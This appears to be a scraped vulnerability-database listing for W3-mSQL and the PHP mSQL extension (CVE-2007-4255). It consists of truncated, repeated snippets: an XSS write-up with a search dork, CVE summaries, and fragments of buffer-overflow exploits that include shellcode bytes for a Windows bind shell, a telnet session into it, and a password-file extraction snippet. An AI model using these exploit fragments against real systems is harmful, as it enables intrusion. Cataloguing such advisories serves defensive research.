W3-mSQL - Error Page Cross-Site Scripting

source: https://www.securityfocus.com/bid/27116/info W3-mSQL is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of th...

w3msql-xss.txt

A reflected xss flaw exists in the w3-msql error page. google dork : "W3-mSQL Error! - Can't stat script file /" Just insert a script from the start of / like if u get a URL like:- http://localhost/cgi-bin/w3-msql/journal/ijcd/index.html and the error page output as :- W3-mSQL Error! - Can't stat...

phpmsql-local.txt

/ if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret = "\xA3\x3D\x92\x7C"; shell32.dll -CALL EBP WindowsXP $shellcode= "\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" . "\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf"...

CVE-2007-4255

Buffer overflow in the mSQL extension in PHP 5.2.3 allows context-dependent attackers to execute arbitrary code via a long first argument to the msqlconnect function...

CVE-2007-4255

Buffer overflow in the mSQL extension in PHP 5.2.3 allows context-dependent attackers to execute arbitrary code via a long first argument to the msqlconnect function...

CVE-2007-4255

CVE-2007-4255 is a buffer overflow vulnerability in the PHP mSQL extension affecting PHP 5.2.3. The flaw allows context-dependent attackers to execute arbitrary code by supplying a long first argument to the msql_connect function. Public references indicate the issue has been exploited (e.g., exp...

phpmsql-overflow.txt

42424242 ?...

CVE-2007-4255: Undefined Security Weakness

Buffer overflow in the mSQL extension in PHP 5.2.3 allows context-dependent attackers to execute arbitrary code via a long first argument to the msqlconnect function...

PHP mSQL (msql_connect) - Local Buffer Overflow

PHP mSQL msqlconnect - Local Buffer Overflow / if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret = "\xA3\x3D\x92\x7C"; shell32.dll -CALL EBP WindowsXP $shellcode= "\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9"...

PHP mSQL (msql_connect) Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ===================================================== PHP mSQL msqlconnect Local Buffer Overflow Exploit ===================================================== / if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret =...

PHP mSQL (msql_connect) Local Buffer Overflow Exploit

No description provided by source. ?php / Inphex 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache /...

PHP mSQL (msql_connect) - Local Buffer Overflow

/ if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret = "\xA3\x3D\x92\x7C"; shell32.dll -CALL EBP WindowsXP $shellcode= "\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" . "\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf"...

PHP mSQL (msql_connect) Local Buffer Overflow PoC

No description provided by source. ?php ---------------------------------------------------- ----PHP mSQL msqlconnect Buffer Overflow PoC----- ---------------------------------------------------- -Tested on 5.2.3 XP SP2--------------------------- --------------------------------------------------...

PHP mSQL (msql_connect) Buffer Overflow PoC

?php ---------------------------------------------------- ----PHP mSQL msqlconnect Buffer Overflow PoC----- ---------------------------------------------------- -Tested on 5.2.3 XP SP2--------------------------- ----------------------------------------------------...

PHP mSQL (msql_connect) Buffer Overflow PoC

?php ---------------------------------------------------- ----PHP mSQL msqlconnect Buffer Overflow PoC----- ---------------------------------------------------- -Tested on 5.2.3 XP SP2--------------------------- ----------------------------------------------------...

PHP mSQL (msql_connect) Local Buffer Overflow PoC

Exploit for multiple platform in category dos / poc ================================================= PHP mSQL msqlconnect Local Buffer Overflow PoC ================================================= 42424242 ? 0day.today 2018-01-06...

PHP mSQL (msql_connect) - Local Buffer Overflow (PoC)

PHP mSQL msqlconnect - Local Buffer Overflow PoC 42424242 ? milw0rm.com 2007-08-06...

PHP mSQL (msql_connect) - Local Buffer Overflow (PoC)

42424242 ? milw0rm.com 2007-08-06...

jgaa-sql.txt

!/usr/bin/perl You can get admin hash,or acces the pass file from the NIx with the generated strings with the generator.c program you have to put in sql specific comands,my example is for tables and NIX pass exploit tested on winxp sp2 include include include int main char st1024; int le;...

miniSQL (mSQL) 1.3 - GID Remote Code Execution

miniSQL mSQL 1.3 - GID Remote Code Execution / /.------ /.------..---- / / \ /\ . // / . /\ / | / .\ . \ / / / \ | / | | slc | - -------||--.---.//-| //-.|----.|| / \ / / mSQL / required by fatal / include include / required by fatal / include include include include include include include...